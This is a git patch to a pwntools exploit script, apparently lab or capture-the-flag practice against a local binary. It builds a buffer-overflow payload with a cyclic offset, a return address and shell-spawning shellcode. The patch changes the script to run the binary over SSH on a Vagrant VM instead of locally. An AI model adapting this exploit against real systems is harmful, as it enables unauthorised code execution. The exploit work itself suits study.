From 8a31a9b56a5e652ee25dfb7e981b20fc89dca861 Mon Sep 17 00:00:00 2001 From: kod Date: Fri, 7 Aug 2020 10:22:42 -0700 Subject: [PATCH] idk --- parse | Bin 16968 -> 16968 bytes parse.py | 15 +++++++++++---- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/parse b/parse index 1b627e70d2b2fe433e5912bef4276404ed2f46db..273f9560afe9a428565951dbebc02d944127a4ce 100755 GIT binary patch delta 24 gcmX@n!g!*Eaf1cZ$>z0BY(7@Bjb+ delta 24 gcmX@n!g!*Eaf1aDYv9w86t>BN?An_%m>$>z0CFh^umAu6 diff --git a/parse.py b/parse.py index b918827..e6465b8 100644 --- a/parse.py +++ b/parse.py @@ -1,6 +1,13 @@ from pwn import * +import base64 -context.update(arch='amd64', os='linux') +context.update(arch='i686', os='linux') + +# Connect to the server with SSH +ssh_connection = ssh('vagrant', 'default', port=2222) + +# Open a shell to write more stuff to +bash = ssh_connection.run('bash') shellcode = shellcraft.sh() print(shellcode) @@ -10,7 +17,7 @@ payload = cyclic(cyclic_find(0x0000555555555751)) payload += p64(0xdeadbeef) payload += asm(shellcode) -p = process("./parse") -p.sendline(payload) -p.interactive() +bash.sendline('/vagrant/parse') +bash.sendline(payload) +bash.interactive()